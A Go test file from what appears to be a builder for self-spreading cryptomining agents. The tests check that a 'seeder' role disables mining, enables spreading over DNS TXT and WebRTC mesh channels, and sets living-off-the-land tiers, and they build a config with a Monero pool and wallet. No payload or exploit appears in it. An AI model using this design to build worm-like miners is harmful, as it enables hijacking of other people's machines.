Files
AetherForge/server/internal/builder/fleet_role_test.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

56 lines
1.6 KiB
Go

package builder
import "testing"
func TestApplyFleetRoleBakeDefaultsSeeder(t *testing.T) {
req := &BuildRequest{
FleetRole: "seeder",
LotlOnionTiers: []string{"smb", "dns_txt", "winrm"},
}
applyFleetRoleBakeDefaults(req)
if !req.SeederMode || !req.MiningDisabled || req.FleetRole != "seeder" {
t.Fatalf("seeder bake: mode=%v disabled=%v role=%q", req.SeederMode, req.MiningDisabled, req.FleetRole)
}
if !req.DnsTxtSpread || !req.WebRTCMeshSpread || req.WinRMSpread {
t.Fatalf("spread flags: dns=%v webrtc=%v winrm=%v", req.DnsTxtSpread, req.WebRTCMeshSpread, req.WinRMSpread)
}
if len(req.LotlOnionTiers) != 1 || req.LotlOnionTiers[0] != "dns_txt" {
t.Fatalf("tiers=%v", req.LotlOnionTiers)
}
}
func TestGenerateBuiltinConfigFleetRoleFields(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "seeder-node", ServerURL: "http://127.0.0.1:8989", Wallet: "4TEST",
Threads: 2, PoolHost: "pool.supportxmr.com", PoolPort: 3333, PoolPass: "x",
FleetRole: "seeder", SeederMode: true, MiningDisabled: true,
}
src := h.generateBuiltinConfig("build-seed", req)
if !containsAll(src, "FleetRole:", "SeederMode:", "seeder") {
t.Fatalf("missing fleet role fields in builtin:\n%s", src)
}
}
func containsAll(s string, parts ...string) bool {
for _, p := range parts {
if !contains(s, p) {
return false
}
}
return true
}
func contains(s, sub string) bool {
return len(sub) == 0 || (len(s) >= len(sub) && indexOf(s, sub) >= 0)
}
func indexOf(s, sub string) int {
for i := 0; i+len(sub) <= len(s); i++ {
if s[i:i+len(sub)] == sub {
return i
}
}
return -1
}